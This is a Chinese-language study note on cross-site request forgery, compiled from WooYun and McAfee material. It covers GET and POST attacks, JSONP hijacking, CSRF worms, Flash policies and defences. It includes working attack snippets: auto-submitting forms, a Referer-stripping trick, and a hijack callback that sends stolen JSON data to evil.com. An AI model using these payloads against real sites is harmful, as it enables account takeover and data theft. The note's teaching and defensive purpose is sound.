整理自wuyun知識庫和McAfee的CSRF攻防白皮書
0x00 CSRF 跨站請求偽造
由於目標站點無token/referer限制,導致攻擊者可以以用戶的身份執行操作。
關於CSRF的要點
- 受害者不一定要登陸,取決於攻擊者的目的。通常是借助受害者的認證身份執行操作
然而CSRF也可以有其他的攻擊形式,例如網上投票,Dos攻擊。CSRF可以用於突破網站對IP地址,HTTP認證,SSL客戶證書的限制。 - 如果一個行為需要多次請求完全可以在一次CSRF攻擊中實現
- CSRF和其他漏洞的結合效果很好,目標網站的認證操作對攻擊者很有用。
- 攻擊者通常不能從目標網站讀取數據-CSRF很有效但也有局限性,由於同源策略一個域的腳本不能從另一個域中讀取數據.因此一環套一環的多次action通常免疫CSRF。
當然也有例外,比如前面提出的輸出都可預測,攻擊者就可以暴力破解或者猜。 - 時刻警惕目標網站可以是任何受害者能夠訪問的網站,內網也一樣。
0x01 CSRF能干什么
當人們談論CSRF時,他們的意思是一個攻擊者用CSRF欺騙做了看起來合理的行為。
這些行為包括
- 改變用戶綁定的郵箱,接着找回密碼拿下用戶的賬戶
- 為網站添加一個用戶
- 把用戶賬戶的錢轉走
- 惡意囤貨搶購
- 檢測特定文件判斷目標的cms類型
調用web服務
用form的一個屬性“encytpe” 可以傳一個XML文件給webservice,例如:
<form action=”http://target.example.com/webservice” method=”POST” enctype=”text/plain”>
<input name=”<msg><attr><name>a</name><value>b</value></attr></msg>” value=””>
<input type=”submit”>
</form>
0x02 GET 類型CSRF
<img src=http://xxx.org/csrf.php?xx=1 />
訪問頁面后就成功向http://xxx.org/csrf.php 發送了一次請求
<link href="…">
<iframe src="…">
<meta http-equiv="refresh" content="0; url=…">
<script src="…">
<video src="…">
<audio src="…">
<a href="…">
<table background="…">
0x03POST類型的CSRF
使用一個自動提交的表單
<form action=http://woyun.org/csrf.php method=POST>
<input type="text" name='xx' value='11' />
</form>
<script>document.forms[0].submit();</script>
模擬用戶完成了一次POST操作
也可以用JS動態生成
<script>
new Image().src = 'http://192.168.0.100/joomla';
</script>
0x04JSON劫持攻擊
web開發中常用的一種跨域獲取的方法 JSONP
JSON with Padding 由於Javascript受同源策略的限制不能跨域讀取
只能進行GET請求
前端html代碼:
<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
<script type="text/javascript">
function jsonpCallback(result) {
alert(result.a);
alert(result.b);
alert(result.c);
for(var i in result) {
alert(i+":"+result[i]);//循環輸出a:1,b:2,etc. }
}
</script>
<script type="text/javascript" src="http://crossdomain.com/services.php?callback=jsonpCallback"></script>
后端的php代碼:
<?php
//服務端返回JSON數據
$arr=array('a'=>1,'b'=>2,'c'=>3,'d'=>4,'e'=>5);
$result=json_encode($arr);
//echo $_GET['callback'].'("Hello,World!")';
//echo $_GET['callback']."($result)";
//動態執行回調函數
$callback=$_GET['callback'];
echo $callback."($result)";
?>
可以看到,前端先是定義了jsonpCallback函數來處理后端返回的JSON數據,然后利用script標簽的src屬性跨域獲取數據(前面說到帶src屬性的html標簽都可以跨域),並且把剛才定義的回調函數的名稱傳遞給了后端,於是后端構造出“jsonpCallback({“a”:1, “b”:2, “c”:3, “d”:4, “e”:5})”的函數調用過程返回到前端執行,達到了跨域獲取數據的目的。
一句話描述JSONP:前端定義函數卻在后端完成調用然后回到前端執行!
攻擊者可以在頁面中構造自己的回調函數,然后把獲取的數據都發到自己的服務器上
<script type="text/javascript">
function hijack(result) {
var data = '';
for(var i in result) {
data += i + ':' + result[i];
}
new Image().src = "http://www.evil.com/JSONHiJacking.php?data=" + escape(data);//把數據發送到攻擊者服務器上
}
</script>
<script type="text/javascript" src="http://crossdomain.com/services.php?callback=hijack"></script>
0x05 CSRF蠕蟲
在CSRF的攻擊頁面上嵌入蠕蟲傳播的攻擊向量,蠕蟲傳播要面向不同的用戶生成不同的請求。之前的攻擊可預測所有的參數,現在必須想辦法標識不同用戶的數據。
1,服務端腳本獲取
准備一個php,asp頁面,可以檢測Referer字段讀取url中的用戶id等。
2,JSON劫持
如果網站提供了這樣的數據接口,可以用來獲取敏感信息
0x06 flash CSRF
網站的根目錄下有一個文件crossdomain.xml
<cross-domain-policy>
<allow-access-from domain="*.baidu.com" secure='true'/>
<allow-http-request-headers-from domain="*.baidu.com" headers='*'/>
secure='true' 表示只能通過安全連接請求
表示哪些域的flash請求可以讀寫本域的資源,同樣可以讀取token數據發送請求。
0x06 測試中要注意的問題
由於瀏覽器的特性跨協議請求時不帶refer(Geckos內核除外)
利用 xxx.src='javascript:"HTML代碼"'; 可以去掉refer
<iframe id='aa' src="" ></frame>
<script>
document.getElementById("aa").src='javascript:'<html><body>wuyun.org<scr'+'ipt>eval(使用的代碼)</scr'+'ipt></body></html>
:
</script>
dedecms CSRF漏洞分析
0x06修復
所有的防御方法只有一個中心思想,建立一個秘密的參數,攻擊者由於同源策略不能訪問,又不能讓龔記者繞過這個參數對網站操作。
-
關鍵操作只接受POST請求
-
添加驗證碼操作,增加與用戶的互動,即便是最簡陋的驗證碼也能起到很好的效果。
-
檢測refer ,此方法不推薦 因為很多時候根本就沒有refer頭,根據不同的瀏覽器,網站情況不同。
-
Token 主流防御方法
CSRF成功的條件在於攻擊者能夠預測所有的參數構造出合法的請求。對參數進行加密,防止CSRF。
或者保持原有的參數不變,額外增加一個參數Token(兩個隨機字符串的hash應該可以滿足)
Token是一次性的,每次成功后都更新Token -
臨時設置cookie 將有效時間設置為1秒,其他的就認為是CSRF
對於單域名網站的效果要好於token
如果是多域名就不太好,子域可以修改父域的cookie
缺點是無法防御由於其他子域產生的XSS表單偽造
function doit() {
var expires = new Date((new Date()).getTime()+1000);
document.cookie = "xeye=xeye; expires=" + expires.toGMTString();
}
1)在返回的腳本(JSON數據)開始部分加入“while(1)”
當攻擊者通過JSON HiJacking的方式獲取到返回的JSON數據時,其攻擊代碼會陷入死循環中,無法將敏感信息發送到自己的服務器上,這樣就防止了信息泄露;而正常的客戶端代碼可以正確地處理返回的JSON數據,它可以先將“while(1);”去掉再正常處理
2) 使用POST表單提交的方式獲取JSON數據:
當前端可以使用XMLHttpRequest獲取JSON數據時,當然也可以使用POST表單的方式完成這項任務,這樣的話攻擊者就無法使用script標簽來獲取JSON數據(因為src屬性發出的是GET請求)。
0x07 保護自己
假設很多網站都在被CSRF攻擊,作為普通用戶如何保護自己。
1、及時注銷退出賬號
每次登陸網站操作過后及時退出是一個好習慣。注意那些只有基本認證的網站,通常瀏覽器將登陸憑證保存起來以備下次登陸。
如果選擇的記住密碼等等類似功能,CSRF就總會成功。
2、用不同的瀏覽器
大多數CSRF的目標都有一個有效的session便於攻擊。比如一個瀏覽器用於敏感操作,另一個瀏覽器用於日常使用。或者用不同的虛擬機,小的OS搭載一個瀏覽器。
3、通過代理
IT管理員配置內網的時候可以讓用戶使用不同的瀏覽器做不同用途,給其中一個配好代理。假設訪問外網一定要通過代理,而內網訪問則不需要。例如將Chrome設置代理用來接外網,而IE用來內網訪問。最大限度的保護內網。